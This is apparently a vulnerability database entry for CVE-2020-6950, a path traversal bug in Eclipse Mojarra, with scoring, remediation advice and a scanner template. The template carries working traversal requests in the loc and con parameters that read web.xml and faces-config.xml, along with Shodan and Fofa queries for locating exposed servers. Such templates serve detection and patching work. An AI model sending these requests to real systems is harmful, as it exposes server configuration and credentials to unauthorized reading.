SecurityContext

CVE-2020-6950: Eclipse Mojarra - Local File Read

Classification

  • Cwe: CWE-22
  • Cvss score: 6.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
  • Epss score: 0.10124
  • Epss percentile: 0.95767
  • Cpe: cpe:2.3:a:eclipse:mojarra:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="javax.faces.ViewState", body="javax.faces.viewstate", body="javax.faces.resource"
  • Max-request: 4
  • Product: mojarra
  • Shodan-query: html:"javax.faces.resource", http.html:"javax.faces.viewstate", http.html:"javax.faces.resource"
  • Vendor: eclipse
  • Verified: yes

Products

ProductIndexedUrl
eclipse:mojarrayes/v1/products/eclipse/mojarra

Labels

  • Name: Eclipse Mojarra - Path Traversal
  • Impact: Attackers can access sensitive files on the server, leading to information disclosure.
  • Remediation: Update to version 2.3.14 or later.
  • Vulnerability type: path_traversal
  • Vulnerability impact: information_disclosure, file_system_read
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2020-6950
  • Not known: requirements

```yaml

id: CVE-2020-6950

info:

name: Eclipse Mojarra - Local File Read

author: iamnoooob,pdresearch

severity: medium

description: |

Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter.

impact: |

Attackers can read arbitrary files from the server including configuration files and credentials, potentially leading to further exploitation and data exposure.

remediation: |

Upgrade to Eclipse Mojarra version 2.3.14 or later.

reference:

- https://github.com/eclipse-ee4j/mojarra/commit/cefbb9447e7be560e59da2da6bd7cb93776f7741

- https://github.com/eclipse-ee4j/mojarra/issues/4571

- https://nvd.nist.gov/vuln/detail/CVE-2020-6950

- https://bugs.eclipse.org/bugs/show_bug.cgi?id=550943

- https://www.oracle.com/security-alerts/cpuapr2022.html

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

cvss-score: 6.5

cve-id: CVE-2020-6950

cwe-id: CWE-22

epss-score: 0.10124

epss-percentile: 0.95767

cpe: cpe:2.3:a:eclipse:mojarra:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 4

vendor: eclipse

product: mojarra

shodan-query:

- html:"javax.faces.resource"

- http.html:"javax.faces.viewstate"

- http.html:"javax.faces.resource"

fofa-query:

- body="javax.faces.ViewState"

- body="javax.faces.viewstate"

- body="javax.faces.resource"

tags: cve,cve2020,mojarra,lfi,eclipse,vuln

http:

- method: GET

path:

- "{{BaseURL}}/javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF"

- "{{BaseURL}}/javax.faces.resources/web.xml.jsf?con=/../../WEB-INF"

- "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF"

- "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF"

stop-at-first-match: true

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(header, "application/xml")'

- 'contains_all(body, "<web-app", "<servlet>") || contains_all(body, "<faces-config", "</faces-config>")'

condition: and

digest: 4a0a00473045022100961125446c9a113f0c95db3cae8e8fad2eddda7356467a8601a17f2187762dc002200896e0c257d40d193dd995befa76568cd53e0b37d6940f80110bc21dd6db8964:922c64590222798bb761d5b6d8e72950

```